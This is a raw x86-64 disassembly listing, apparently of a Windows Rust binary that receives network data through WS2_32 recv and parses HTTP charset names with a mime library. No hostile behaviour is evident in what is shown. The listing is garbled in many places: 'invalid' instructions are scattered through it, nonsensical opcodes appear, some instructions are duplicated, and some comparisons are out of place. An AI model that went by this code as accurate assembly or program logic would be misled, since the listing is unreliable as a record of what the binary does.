mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rbp + 0x6f0]
call fcn.1400d84c0
mov rax, qword [rbp + 0x238]
lock dec qword [rax]
mov esi, dword [rbp + 0x10d0]
jne 0x14000f3bd
lea rcx, [rbp + 0x238]
call fcn.140124a00
cmp r13d, 3
je 0x140010339
lea rcx, [rbp - 0x40]
lea rdx, [rbp + 0x70]
mov r8d, 0x88
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x48], rbx
mov dword [rbp + 0x50], esi
mov qword [rbp + 0x58], 0
mov qword [rbp + 0x68], r14
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r15
cmp esi, 0x3b9aca00
jne 0x14000f409
mov dword [rbp + 0x10d0], 0x3b9aca00
jmp 0x14000f45e
call fcn.14013ac10
add rax, rbx
jb 0x1400113e2
add esi, edx
cmp esi, 0x3b9ac9ff
jbe 0x14000f430
inc rax
je 0x1400113e2
add esi, 0xc4653600
mov ecx, esi
shr ecx, 9
imul rcx, rcx, 0x44b83
shr rcx, 0x27
add rax, rcx
mov qword [rbp + 0x10b0], rax
jb 0x14000de9e
imul eax, ecx, 0x3b9aca00
sub esi, eax
mov dword [rbp + 0x10d0], esi
call fcn.140130360
test rax, rax
je 0x1400113b0
mov rsi, rax
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14000f49b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14001138c
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14001138c
mov qword [rax], 1
mov qword [rax + 8], 1
mov rcx, rax
add rcx, 0x10
mov qword [rax + 0x10], rsi
lea rax, fcn.140114620
mov qword [rbp + 0x6f0], rax
mov qword [rbp + 0x6f8], rcx
lea rax, [rbp + 0x6f0]
mov qword [rbp + 0x670], rax
lea r12, [rbp + 0xa90]
lea rdx, [rbp - 0x50]
mov r8d, 0x98
mov rcx, r12
call sub.VCRUNTIME140.dll_memcpy
lea rax, [0x1401d7687]
mov qword [rbp + 0xb28], rax
mov qword [rbp + 0xb30], 5
lea rcx, [rbp + 0xb38]
lea rdx, [rbp + 0x260]
mov r8d, 0x2e8
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + 0xe20], 0
mov eax, dword [rbp + 0x1040]
mov ecx, dword [rbp + 0x1043]
mov dword [rbp + 0xe21], eax
mov dword [rbp + 0xe24], ecx
lea r14, [rbp + 0xc38]
lea r13, [rbp + 0xdc8]
lea rbx, [rbp + 0x920]
pxor xmm6, xmm6
lea r15, [0x140207d24]
lea rax, [0x1401d3af8]
mov qword [rbp + 0x10c0], rax
xor eax, eax
mov esi, dword [rbp + 0x10d0]
test al, al
je 0x14000f610
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
movzx eax, al
cmp eax, 3
jne 0x140011372
movzx eax, byte [rbp + 0xe18]
test eax, eax
je 0x14000f78d
add byte [rbp - 0x2d7bf040], al
add dword [rax], eax
add byte [rbx - 0x7af0fc08], al
fstp dword [0xf60ff5c6]
test ecx, edx
or eax, 0x8d480000
or eax, 0x1f873a
cmp eax, 3
jne case.default.0x14000f5d9
movzx eax, byte [rbp + 0xdd1]
lea rcx, [0x140207d0c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [rbp + 0xdd8]
mov rdx, qword [rax]
jmp 0x14000f891
mov r13, r14
mov r8d, 0x98
lea rsi, [rbp + 0xb38]
mov rcx, rsi
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov rdx, rbx
mov rbx, qword [rbp + 0xb28]
mov r14, qword [rbp + 0xb30]
movups xmm0, xmmword [0x1401d8a98]
movaps xmmword [rbp + 0x930], xmm0
movdqu xmm0, xmmword [0x1401d8a88]
movdqa xmmword [rbp + 0x920], xmm0
mov rcx, rsi
call fcn.1400728a0
mov rsi, rax
mov rax, qword [rbp + 0x920]
test rax, rax
je 0x14000f689
mov rdx, qword [rbp + 0x928]
mov r8, qword [rbp + 0x930]
lea rcx, [rbp + 0x938]
call qword [rax + reloc.WS2_32.dll_recv]
test rsi, rsi
je 0x14000f6e0
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
xor eax, eax
nop dword [rax + rax]
cmp r8, rax
je 0x14000f6c0
movzx ecx, byte [rdx + rax]
inc rax
cmp cl, 9
je 0x14000f6a0
add cl, 0xe0
cmp cl, 0x5f
jb 0x14000f6a0
jmp 0x14000f6e0
lea rcx, [rbp + 0x920]
call fcn.14009a260
cmp dword [rbp + 0x920], 2
jne 0x14000fc5b
nop dword [rax]
mov qword [rbp + 0xbd0], 2
xor r8d, r8d
test r8, r8
test eax, eax
cmovne rbx, r8
cmove r10, r14
lea rax, [rbp + 0x938]
movdqu xmmword [rax - 0x17], xmm6
mov word [rax - 7], 0
test r10, r10
mov esi, dword [rbp + 0x10d0]
mov r14, r13
lea r13, [rbp + 0xdc8]
je 0x14000f753
lea rax, [rbx + r10]
inc rbx
nop word [rax + rax]
movzx ecx, byte [rbx - 1]
mov edx, ecx
add edx, 0xfffffff7
cmp edx, 0x56
ja case.0x14000f749.11
movsxd rdx, dword [r15 + rdx*4]
add rdx, r15
jmp rdx
inc rbx
dec r10
jne 0x14000f730
xor eax, eax
lea rbx, [rbp + 0x920]
test rax, rax
lea rcx, [0x140193388]
cmove rax, rcx
mov qword [rbp + 0xc30], rax
mov r8d, 0x98
mov rcx, r14
lea rdx, [rbp + 0xb38]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + 0xe18], 0
mov r8d, 0x98
lea rcx, [rbp + 0xcd0]
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x90
mov rcx, rbx
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x938]
movups xmm0, xmmword [rax + 0x58]
movups xmm1, xmmword [rax + 0x68]
movaps xmmword [rbp + 0x740], xmm0
movaps xmmword [rbp + 0x750], xmm1
mov rcx, rbx
call fcn.14006a760
mov rcx, qword [rbp + 0x980]
call fcn.1400b9900
mov rax, qword [rbp + 0x7a0]
mov qword [r12 + 0x338], rax
movaps xmm0, xmmword [rbp + 0x790]
movups xmmword [r12 + 0x328], xmm0
movaps xmm0, xmmword [rbp + 0x780]
movups xmmword [r12 + 0x318], xmm0
movaps xmm0, xmmword [rbp + 0x740]
invalid
invalid
add byte [rax], al
movaps xmm1, xmmword [rbp + 0x750]
movaps xmm2, xmmword [rbp + 0x760]
movaps xmm3, xmmword [rbp + 0x770]
movups xmmword [r12 + 0x308], xmm3
movups xmmword [r12 + 0x2f8], xmm2
movups xmmword [r12 + 0x2e8], xmm1
movups xmmword [r12 + 0x2d8], xmm0
mov byte [rbp + 0xdd1], 0
invalid
mov byte [rbp + 0xdd0], 0
movdqu xmm0, xmmword [r12 + 0x2d8]
movups xmm1, xmmword [r12 + 0x2e8]
lea rdx, [rbp + 0xd88]
movups xmmword [rdx + 0x10], xmm1
movdqu xmmword [rdx], xmm0
mov qword [rbp + 0xdc8], rdx
mov qword [rbp + 0xdd8], r13
mov rcx, rbx
lea r8, [rbp + 0x670]
call fcn.1400a41a0
mov rcx, qword [rbp + 0x920]
cmp rcx, 2
jne 0x14000f8c0
mov al, 3
jmp 0x14000fbba
mov rax, qword [rbp + 0x928]
mov rbx, qword [rbp + 0x930]
lea rdx, [rbp + 0x938]
movdqu xmm0, xmmword [rdx]
movdqa xmmword [rbp + 0x620], xmm0
test rcx, rcx
je 0x140010126
test rax, rax
je 0x14001012f
mov byte [rbp + 0xdd0], 1
mov qword [rbp + 0xda8], rax
mov qword [rbp + 0xdb0], rbx
movdqa xmm0, xmmword [rbp + 0x620]
movdqu xmmword [r12 + 0x328], xmm0
mov qword [rbp + 0xdd8], r13
mov rax, r13
lea rbx, [rbp + 0x920]
mov rdx, qword [rax]
mov rcx, rbx
lea r8, [rbp + 0x670]
call fcn.1400a41a0
mov rcx, qword [rbp + 0x920]
cmp rcx, 2
jne 0x14000f960
mov al, 4
jmp 0x14000fbba
mov rax, qword [rbp + 0x928]
mov rbx, qword [rbp + 0x930]
lea rdx, [rbp + 0x938]
movdqu xmm0, xmmword [rdx]
movdqa xmmword [rbp + 0x590], xmm0
test rcx, rcx
je 0x1400101ee
test rax, rax
je 0x1400102f1
mov qword [rbp + 0xdd8], rax
mov qword [rbp + 0xde0], rbx
movaps xmm0, xmmword [rbp + 0x590]
movups xmmword [r12 + 0x358], xmm0
mov rax, qword [rbp + 0xdc8]
cmp qword [rax], 0
je 0x14000f9cb
add rax, 0x10
lea rbx, [rbp + 0x920]
jmp 0x14000f9e7
mov rdx, qword [rax + 8]
mov rax, qword [rax + 0x10]
lea rbx, [rbp + 0x920]
mov rcx, rbx
call qword [rax + 0x30]
lea rax, [rbp + 0x930]
mov rax, qword [rax]
cmp rax, 0x4000
mov ecx, 0x4000
cmovae rax, rcx
mov rsi, qword [rbp + 0xdb8]
add rsi, qword [rbp + 0xde8]
mov rcx, 0xffffffffffffffff
cmovb rsi, rcx
add rsi, rax
cmovb rsi, rcx
test rsi, rsi
je 0x14000fa65
js 0x140011385
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x14000fa4d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140010bd6
mov qword [0x140215360], rax
mov rcx, rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
jne 0x14000fa6a
jmp 0x140010bd6
mov eax, 1
mov qword [rbp + 0xdf8], rax
mov qword [rbp + 0xe00], rsi
mov qword [rbp + 0xe08], 0
mov byte [rbp + 0xdd0], 0
movups xmm0, xmmword [r12 + 0x318]
movups xmm1, xmmword [r12 + 0x328]
movaps xmmword [rbp + 0x920], xmm0
movaps xmmword [rbp + 0x930], xmm1
lea rsi, [rbp + 0xdf8]
mov rcx, rsi
mov rdx, rbx
call fcn.140124c40
movdqu xmm0, xmmword [r12 + 0x348]
movups xmm1, xmmword [r12 + 0x358]
movaps xmmword [rbp + 0x930], xmm1
movdqa xmmword [rbp + 0x920], xmm0
mov rcx, rsi
mov rdx, rbx
call fcn.140124c40
mov qword [rbp + 0xe10], r13
mov rax, r13
mov esi, dword [rbp + 0x10d0]
jmp 0x14000fb99
mov rax, qword [rbp + 0x940]
mov qword [rbp + 0x120], rax
movdqu xmm0, xmmword [rbp + 0x920]
movups xmm1, xmmword [rbp + 0x930]
movaps xmmword [rbp + 0x110], xmm1
movdqa xmmword [rbp + 0x100], xmm0
cmp qword [rbp + 0x100], 0
je 0x140010150
mov rax, qword [rbp + 0x108]
mov rbx, qword [rbp + 0x110]
test rax, rax
je 0x1400101a1
lea rcx, [rbp + 0x118]
movdqu xmm0, xmmword [rcx]
lea rcx, [rbp + 0xed0]
movdqu xmmword [rcx], xmm0
mov qword [rbp + 0xec0], rax
mov qword [rbp + 0xec8], rbx
lea rcx, [rbp + 0xdf8]
lea rdx, [rbp + 0xec0]
call fcn.140124c40
mov qword [rbp + 0xe10], r13
mov rax, r13
lea rbx, [rbp + 0x920]
mov rdx, qword [rax]
mov rcx, rbx
lea r8, [rbp + 0x670]
call fcn.1400a41a0
cmp dword [rbp + 0x920], 2
jne 0x14000fb00
mov al, 5
mov byte [rbp + 0xdd1], al
mov byte [rbp + 0xe18], 3
mov byte [rbp + 0xe20], 3
cmp esi, 0x3b9aca00
jne 0x14000fbf0
call fcn.140130510
movzx eax, byte [rbp + 0xe20]
test al, al
jne 0x14000f5a0
jmp 0x14000f610
call fcn.14013ac10
mov r8d, edx
mov rcx, qword [rbp + 0x10b0]
cmp rax, rcx
jb 0x14000fc13
jne 0x140010240
cmp r8d, esi
jae 0x140010240
mov qword [rbp + 0x920], rcx
mov dword [rbp + 0x928], esi
mov rcx, rbx
mov rdx, rax
call fcn.14013adc0
cmp edx, 0x3b9aca00
mov ecx, 0
cmove edx, ecx
mov ecx, 0
cmovne rcx, rax
call fcn.1401306f0
movzx eax, byte [rbp + 0xe20]
test al, al
jne 0x14000f5a0
jmp 0x14000f610
movups xmm0, xmmword [rbp + 0x970]
movups xmmword [r12 + 0x190], xmm0
movups xmm0, xmmword [rbp + 0x960]
movups xmmword [r12 + 0x180], xmm0
movdqu xmm0, xmmword [rbp + 0x920]
movups xmm1, xmmword [rbp + 0x930]
movups xmm2, xmmword [rbp + 0x940]
movups xmm3, xmmword [rbp + 0x950]
movups xmmword [r12 + 0x170], xmm3
movups xmmword [r12 + 0x160], xmm2
movups xmmword [r12 + 0x150], xmm1
movdqu xmmword [r12 + 0x140], xmm0
cmp qword [rbp + 0xbd0], 2
je 0x14000f6eb
mov rdx, qword [rbp + 0xbe0]
mov r11, qword [rbp + 0xbf0]
mov rsi, qword [rbp + 0xc00]
shl rsi, 5
add rsi, r11
mov rcx, qword [rbp + 0xc10]
mov rax, qword [rbp + 0xc18]
mov qword [rbp + 0x10b8], rax
mov rax, qword [rbp + 0xc20]
mov qword [rbp + 0x10c8], rax
nop word [rax + rax]
test rdx, rdx
je 0x14000fd80
cmp rdx, 1
jne 0x14000f6eb
cmp rsi, r11
je 0x14000f6eb
mov rax, qword [r11]
mov r10, qword [r11 + 8]
lea rdx, [rbp + 0xc08]
cmp byte [rdx], 0
mov rdx, qword [rbp + 0x10c8]
cmove rdx, qword [rbp + 0x10b8]
mov rdi, r10
sub rdi, rax
jb 0x140011314
mov r8, qword [r11 + 0x10]
mov r9, qword [r11 + 0x18]
test rax, rax
je 0x14000fda4
cmp rax, rdx
jae 0x14000fd9e
cmp byte [rcx + rax], 0xc0
jge 0x14000fda4
jmp 0x140011314
mov edx, 2
mov r10d, 5
lea rax, str.charsetutf_8C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fmime_0.3.17_srclib.rs
lea r8, [0x1401d7687]
jmp 0x14000fe2f
jne 0x140011314
test r10, r10
je 0x14000fdc9
cmp r10, rdx
jae 0x14000fdba
cmp byte [rcx + r10], 0xbf
jg 0x14000fdc9
jmp 0x140011314
jne 0x140011314
test rcx, rcx
je 0x140011314
mov r10, r9
sub r10, r8
jb 0x14001132d
test r8, r8
je 0x14000fdf1
cmp r8, rdx
cmp eax, edx
jae 0x14000fdeb
cmp byte [rcx + r8], 0xc0
jge 0x14000fdf1
jmp 0x14001132d
jne 0x14001132d
test r9, r9
je 0x14000fe16
cmp r9, rdx
jae 0x14000fe07
cmp byte [rcx + r9], 0xc0
jge case.0x140008ac4.112
jmp 0x14001132d
jne 0x14001132d
test rcx, rcx
je 0x14001132d
add r11, 0x20
mov edx, 1
cmp rdi, 7
jne 0x14000fd10
ret
add rax, rcx
add r8, rcx
movzx r9d, byte [rax]
lea edi, [r9 - 0x41]
cmp dil, 0x1a
setb dil
shl dil, 5
or dil, r9b
cmp dil, 0x63
jne 0x14000fd10
sar dh, 0xff
invalid
sar dh, 0xff
inc dword [rdi + rcx - 0x4a]
add qword [rcx - 0x73], rax
jns 0x14000fe18
movzx r9d, byte [rax + 1]
lea edi, [r9 - 0x41]
cmp dil, 0x1a
setb dil
shl dil, 5
or dil, r9b
cmp dil, 0x68
jne 0x14000fd10
movzx r9d, byte [rax + 2]
lea edi, [r9 - 0x41]
cmp dil, 0x1a
setb dil
shl dil, 5
or dil, r9b
cmp dil, 0x61
jne 0x14000fd10
movzx r9d, byte [rax + 3]
lea edi, [r9 - 0x41]
cmp dil, 0x1a
setb dil
shl dil, 5
or dil, r9b
cmp dil, 0x72
jne 0x14000fd10
movzx r9d, byte [rax + 4]
lea edi, [r9 - 0x41]
cmp dil, 0x1a
setb dil
setb bh
setb bh
shl dil, 5
or dil, r9b
cmp dil, 0x73
jne 0x14000fd10
movzx r9d, byte [rax + 5]
lea edi, [r9 - 0x41]
cmp dil, 0x1a
setb dil
shl dil, 5
or dil, r9b
cmp dil, 0x65
jne 0x14000fd10
movzx eax, byte [rax + 6]
lea r9d, [rax - 0x41]
cmp r9b, 0x1a
setb r9b
shl r9b, 5
or r9b, al
cmp r9b, 0x74
jne 0x14000fd10
jmp 0x14000f6ee
lea edx, [rcx - 0x41]
cmp dl, 0x1a
jae 0x14000ff2d
add ecx, 0x20
jmp case.0x14000f749.45
lea edx, [rcx - 0x61]
cmp dl, 0x1a
jb case.0x14000f749.45
lea edx, [rcx - 0x30]
cmp dl, 0xa
jae 0x14000f753
nop word cs:[rax + rax]
mov byte [rbp + 0x920], cl
mov ecx, 1
cmp rbx, rax
je 0x140010050
nop word cs:[rax + rax]
movzx edx, byte [rbx + rcx - 1]
mov r8d, edx
add r8d, 0xfffffff7
cmp r8d, 0x56
ja case.0x14000ff90.11
lea r9, [0x140207e80]
movsxd r8, dword [r9 + r8*4]
add r8, r9
jmp r8
cmp rcx, 0x13
je 0x14000f753
cmp rcx, 0x12
ja 0x140010997
mov byte [rbp + rcx + 0x920], dl
lea rdx, [rbx + rcx]
inc rdx
inc rcx
dec rdx
cmp rdx, rax
jne 0x14000ff70
jmp 0x140010050
lea r8d, [rdx - 0x41]
cmp r8b, 0x1a
jae 0x14000ffeb
cmp rcx, 0x13
je 0x14000f753
jae 0x1400112d6
add edx, 0x20
mov byte [rbp + rcx + 0x920], dl
jmp 0x14000ffae
lea r8d, [rdx - 0x61]
cmp r8b, 0x1a
jb case.0x14000ff90.45
lea r8d, [rdx - 0x3a]
cmp r8b, 0xf6
jae case.0x14000ff90.45
jmp 0x14000f753
add rbx, rcx
cmp rbx, rax
je 0x140010050
nop dword [rax]
movzx edx, byte [rbx]
cmp rdx, 0x20
ja 0x14000f753
movabs r8, 0x100003600
bt r8, rdx
jae 0x14000f753
inc rbx
cmp rbx, rax
jne 0x140010010
cmp rcx, 0x14
jae 0x14001143e
nop word cs:[rax + rax]
mov edx, 0xe4
xor r8d, r8d
mov eax, 0xe4
lea rbx, [rbp + 0x920]
jmp 0x140010082
inc rdx
mov r8, rdx
mov rdx, rax
sub rdx, r8
jbe 0x14001010f
shr rdx, 1
add rdx, r8
mov r9, rdx
shl r9, 4
lea r10, str.l1l2l3l4l5l6l9866koigbkbig5utf8koi8sjisucs_2ms932cp866cp819asciix_gbkgreekcp1250cp1251latin1gb2312cp1252latin2cp1253latin3cp1254latin4cp1255csbig5latin5utf_16cp1256ibm866latin6cp1257cp1258greek8ibm819arabicvisualkoreaneuc_jpkoi8_rkoi8_reuc_krx_sjiskoi8_uhebrewtis_620ksc5601gb_2312dos_874cn_big5unicodechineselogicalcskoi8rcseuckrkoi8_rux_cp1250ksc_5601x_cp1251iso88591csgb2312x_cp1252iso88592x_cp1253iso88593ecma_114x_cp1254iso88594x_cp1255iso88595x_x_big5x_cp1256csibm866iso88596x_cp1257iso88597asmo_708ecma_118elot_928x_cp1258iso88598iso88599cyrillicutf_16beutf_16leus_asciims_kanjix_euc_jpiso885910iso8859_1iso885911iso8859_2iso8859_3iso885913iso8859_4iso885914iso8859_5iso885915iso8859_6iso8859_7iso8859_8iso_ir_58iso8859_9csunicodeshift_jisshift_jisiso_ir_100iso8859_10iso_ir_110gb_2312_80iso_8859_1iso_8859_1iso_ir_101iso8859_11iso_8859_2iso_8859_2hz_gb_2312iso_8859_3iso_8859_3iso8859_13iso_8859_4iso_8859_4iso8859_14iso_ir_144iso_8859_5iso_8859_5iso8859_15iso_8859_6iso_8859_6iso_ir_126iso_8859_7iso_8859_7iso_ir_127iso_ir_157iso_8859_8iso_8859_8iso_ir_138iso_ir_148iso_8859_9iso_8859_9iso_ir_109iso_ir_149big5_hkscscsshiftjisiso_8859_10iso_8859_11csisolatin1csisolatin2iso_8859_13csisolatin3iso_8859_14csisolatin4iso_8859_15iso_8859_15csisolatin5iso_8859_16csisolatin6windows_949csisolatin9csiso88596ecsiso88598eunicodefffeunicodefeffcsmacintoshcsiso88596icsiso88598iwindows_31jx_mac_romaniso_2022_cniso_2022_jpcsiso2022jpiso_2022_krcsiso2022kriso_8859_6_eiso_8859_8_eiso_8859_6_iiso_8859_8_isun_eu_greekcsksc56011987unicode20utf8unicode11utf8ks_c_5601_1987ansi_x3.4_1968ks_c_5601_1989csiso58gb231280iso_10646_ucs_2iso_8859_1:1987iso_8859_2:1987iso_8859_6:1987iso_8859_7:1987iso_8859_3:1988iso_8859_4:1988iso_8859_5:1988iso_8859_8:1988x_unicode20utf8iso_8859_9:1989csisolatingreekx_mac_ukrainianiso_2022_cn_extcsisolatinarabiccsisolatinhebrewunicode_1_1_utf_8csisolatincyrilliccseucpkdfmtjapanese
cmp rcx, qword [r9 + r10 + 8]
ja 0x140010070
jne 0x140010100
lea r10, str.l1l2l3l4l5l6l9866koigbkbig5utf8koi8sjisucs_2ms932cp866cp819asciix_gbkgreekcp1250cp1251latin1gb2312cp1252latin2cp1253latin3cp1254latin4cp1255csbig5latin5utf_16cp1256ibm866latin6cp1257cp1258greek8ibm819arabicvisualkoreaneuc_jpkoi8_rkoi8_reuc_krx_sjiskoi8_uhebrewtis_620ksc5601gb_2312dos_874cn_big5unicodechineselogicalcskoi8rcseuckrkoi8_rux_cp1250ksc_5601x_cp1251iso88591csgb2312x_cp1252iso88592x_cp1253iso88593ecma_114x_cp1254iso88594x_cp1255iso88595x_x_big5x_cp1256csibm866iso88596x_cp1257iso88597asmo_708ecma_118elot_928x_cp1258iso88598iso88599cyrillicutf_16beutf_16leus_asciims_kanjix_euc_jpiso885910iso8859_1iso885911iso8859_2iso8859_3iso885913iso8859_4iso885914iso8859_5iso885915iso8859_6iso8859_7iso8859_8iso_ir_58iso8859_9csunicodeshift_jisshift_jisiso_ir_100iso8859_10iso_ir_110gb_2312_80iso_8859_1iso_8859_1iso_ir_101iso8859_11iso_8859_2iso_8859_2hz_gb_2312iso_8859_3iso_8859_3iso8859_13iso_8859_4iso_8859_4iso8859_14iso_ir_144iso_8859_5iso_8859_5iso8859_15iso_8859_6iso_8859_6iso_ir_126iso_8859_7iso_8859_7iso_ir_127iso_ir_157iso_8859_8iso_8859_8iso_ir_138iso_ir_148iso_8859_9iso_8859_9iso_ir_109iso_ir_149big5_hkscscsshiftjisiso_8859_10iso_8859_11csisolatin1csisolatin2iso_8859_13csisolatin3iso_8859_14csisolatin4iso_8859_15iso_8859_15csisolatin5iso_8859_16csisolatin6windows_949csisolatin9csiso88596ecsiso88598eunicodefffeunicodefeffcsmacintoshcsiso88596icsiso88598iwindows_31jx_mac_romaniso_2022_cniso_2022_jpcsiso2022jpiso_2022_krcsiso2022kriso_8859_6_eiso_8859_8_eiso_8859_6_iiso_8859_8_isun_eu_greekcsksc56011987unicode20utf8unicode11utf8ks_c_5601_1987ansi_x3.4_1968ks_c_5601_1989csiso58gb231280iso_10646_ucs_2iso_8859_1:1987iso_8859_2:1987iso_8859_6:1987iso_8859_7:1987iso_8859_3:1988iso_8859_4:1988iso_8859_5:1988iso_8859_8:1988x_unicode20utf8iso_8859_9:1989csisolatingreekx_mac_ukrainianiso_2022_cn_extcsisolatinarabiccsisolatinhebrewunicode_1_1_utf_8csisolatincyrilliccseucpkdfmtjapanese
mov r9, qword [r9 + r10]
mov r10, rcx
nop dword [rax]
test r10, r10
je 0x140010116
movzx ebx, byte [rbp + r10 + 0x91f]
xor r11d, r11d
cmp bl, byte [r9 + r10 - 1]
lea rbx, [rbp + 0x920]
setne r11b
mov edi, 0xff
cmova r11d, edi
dec r10
test r11b, r11b
je 0x1400100b0
movzx r9d, r11b
cmp r9d, 1
je 0x140010100
cmp r9d, 0xff
je 0x140010070
jmp 0x140010116
mov rax, rdx
mov rdx, rax
sub rdx, r8
ja 0x140010082
xor eax, eax
jmp 0x14000f75c
lea rax, [0x140194c28]
mov rax, qword [rax + rdx*8]
jmp 0x14000f75c
lea rbx, [0x140204680]
jmp 0x140010138
xor eax, eax
mov qword [rbp + 0x10c0], rax
xor edi, edi
xor r15d, r15d
mov r12, qword [rbp + 0x1078]
mov r13, qword [rbp + 0x10a8]
jmp 0x140010472
mov rbx, qword [rbp + 0xdf8]
mov rsi, qword [rbp + 0xe00]
mov r15, qword [rbp + 0xe08]
cmp r15, rsi
jne 0x140010345
test r15, r15
mov r12, qword [rbp + 0x1078]
mov r13, qword [rbp + 0x10a8]
je 0x140010445
test bl, 1
jne 0x140010461
mov rdi, rbx
or rdi, 1
lea rax, [0x1401a9358]
jmp 0x1400103af
cmp qword [rbp + 0xe00], 0
mov r12, qword [rbp + 0x1078]
mov r13, qword [rbp + 0x10a8]
je 0x1400103bb
mov r8, qword [rbp + 0xdf8]
mov rcx, qword [0x140215360]
xor eax, eax
mov qword [rbp + 0x10c0], rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp byte [rbp + 0xdd0], 0
jne 0x140010315
jmp 0x140010472
mov rax, qword [rbp + 0xda8]
mov qword [rbp + 0x10c0], rax
mov rbx, qword [rbp + 0xdb0]
mov r15, qword [rbp + 0xdb8]
mov rdi, qword [rbp + 0xdc0]
lea rax, [0x1401d3af8]
mov qword [rbp + 0xda8], rax
lea rax, [0x140204680]
mov qword [rbp + 0xdb0], rax
pxor xmm0, xmm0
movdqu xmmword [r12 + 0x328], xmm0
jmp 0x1400102fa
movzx eax, byte [rbp + 0xe20]
test eax, eax
je 0x1400103d6
xor edi, edi
mov r15d, 0
cmp eax, 3
mov r12, qword [rbp + 0x1078]
mov r13, qword [rbp + 0x10a8]
jne 0x140010ec0
mov rcx, r14
call fcn.140124b30
xor edi, edi
cmp dword [rbp + 0xbd0], 2
mov r15d, 0
je 0x140010ec0
cmp byte [rbp + 0xc08], 0
je 0x1400102b4
cmp qword [rbp + 0xc18], 0
je 0x1400102b4
mov r8, qword [rbp + 0xc10]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [rbp + 0xbe0], 1
jne 0x1400109aa
cmp qword [rbp + 0xbf8], 0
mov r15d, 0
mov edi, 0
je 0x140010ec0
mov r8, qword [rbp + 0xbf0]
mov rcx, qword [0x140215360]
xor edi, edi
xor edx, edx
jmp 0x140010437
xor eax, eax
mov qword [rbp + 0x10c0], rax
mov r12, qword [rbp + 0x1078]
mov r13, qword [rbp + 0x10a8]
cmp byte [rbp + 0xdd0], 0
je 0x140010472
lea rcx, [rbp + 0xdc0]
mov rax, qword [rbp + 0xda8]
mov rdx, qword [rbp + 0xdb0]
mov r8, qword [rbp + 0xdb8]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x140010472
mov r13, qword [rbp + 0x10a8]
jmp 0x1400110c1
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
push rax
and byte [rax], al
push rax
and byte [rax], al
test rcx, rcx
mov r12, qword [rbp + 0x1078]
mov r13, qword [rbp + 0x10a8]
jne 0x14001037f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14001138c
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14001138c
mov rdi, rax
mov qword [rax], rbx
mov qword [rax + 8], rsi
mov qword [rax + 0x10], 1
lea rax, [0x140169c10]
mov qword [rbp + 0x10c0], rax
jmp 0x140010472
xor eax, eax
mov qword [rbp + 0x10c0], rax
cmp byte [rbp + 0xdd0], 0
jne 0x140010315
jmp 0x140010472
lea rcx, [rbp + 0xa90]
call fcn.14006a760
mov rcx, qword [rbp + 0xaf0]
call fcn.1400b9900
lea rcx, [rbp + 0xb00]
call fcn.1400aca70
mov rsi, qword [rbp + 0xb20]
cmp qword [rsi + 0x18], 0
mov r12, qword [rbp + 0x1078]
mov r13, qword [rbp + 0x10a8]
je 0x140010429
mov r8, qword [rsi + 0x10]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140215360]
xor edi, edi
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor r15d, r15d
jmp 0x140010ec0
lea rbx, [0x140204680]
lea rax, [0x1401d3af8]
mov qword [rbp + 0x10c0], rax
xor edi, edi
xor r15d, r15d
jmp 0x140010472
lea rax, [0x1401a9370]
mov qword [rbp + 0x10c0], rax
mov rdi, rbx
mov byte [rbp + 0xdd0], 0
lea rcx, [rbp + 0xd88]
call fcn.1400aca70
mov byte [rbp + 0xdd1], 1
mov rsi, qword [rbp + 0xd60]
mov esi, dword [rbp + 0xd60]
mov esi, dword [rbp + 0xd60]
cmp qword [rsi + 0x18], 0
je 0x1400104ad
mov r8, qword [rsi + 0x10]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x157b7b
adc eax, 0x157b7b
add byte [rax - 0x75], cl
or eax, 0x204eac
lodsb al, byte [rsi]
and byte [rax], r8b
mov rcx, qword [0x140215360]
lodsb al, byte [rsi]
and byte [rax], r8b
xor edx, edx
mov r8, rsi
invalid
call qword [sym.imp.KERNEL32.dll_HeapFree]
jnp 0x1400104d3
add dh, al
test dword [rax], ebx
invalid
add byte [rax], al
invalid
invalid
jnp 0x1400104d3
add dh, al
test dword [rax], ebx
invalid
mov rcx, r14
call fcn.140124b30
adc dword [rax], eax
adc dword [rax], eax
mov rax, qword [rbp + 0x10c0]
add byte [rax], al
test rax, rax
je 0x140010520
mov qword [rbp + 0x80], r15
mov qword [rbp + 0x88], rdi
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rbx
mov rsi, qword [rbp + 0xc30]
cmp r15, 3
mov qword [rbp + 0x1068], r15
jae 0x14001057c
